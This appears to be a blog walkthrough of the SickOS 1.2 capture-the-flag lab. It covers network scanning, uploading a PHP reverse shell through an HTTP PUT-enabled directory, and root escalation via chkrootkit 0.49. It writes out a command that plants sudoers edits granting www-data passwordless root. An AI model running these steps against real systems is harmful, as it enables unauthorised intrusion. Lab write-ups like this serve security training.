sickos1.2
From Vulhub
Tools:
- netdiscover
- Nmap
- Nikto
- Wfuzz
- Curl
Use netdiscover to detect target IP address
netdiscover -i eth0 -r 192.168.79.0/24
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_001.png)
192.168.79.180 is the target.
Then run nmap to detect opening ports and running services on the target machine.
nmap -sV -v -O -A -T5 192.168.79.180 -p-
Looks like port 22 and port 80 are openning.
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_002.png)
Check the http://192.168.79.180
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_003.png)
Not excited.
use Nikto:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_004.png)
Still nothing cool
try wfuzz:
1
| |
find a test dir:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_005.png)
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_006.png)
next exam the HTTP options:
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_007.png)
looks like it supports PUT.
Now upload php reverse shell (I tried different ports, looks like only 443 port works):
1
| |
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_008.png)
now the shell is uploaded:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_009.png)
get the reverse shell:
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_010.png)
A better php shell:
1
| |
Upload this shell, and in brower:
1
| |
get the shell.
During enumeration step, I follow g0tmi1k
ls -l /etc/cron.daily
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_012.png)
After enumeration, find the system has chkrootkit:
dpkg -l | grep chkrootkit
chkrootkit verions is 0.49 and it is vulnerable.
searchsploit chkrootkit
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
also need to change the privilages on the update file with chmod 777 and wait:
ls -al /etc/sudoers
try:
sudo su
![[title manually exploit [alt text]]](/images/blog/vulhub/sickos1.2/Selection_013.png)
DONE